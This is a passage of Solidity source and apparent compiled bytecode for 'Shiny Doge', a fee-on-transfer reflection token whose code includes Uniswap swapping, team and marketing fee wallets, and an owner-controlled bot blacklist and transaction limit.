mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KoalaInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1* 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Shiny Doge"; string private constant _symbol = 'SD️'; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 13; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600a81526020017f5368696e7920446f676500000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5344efb88f000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffff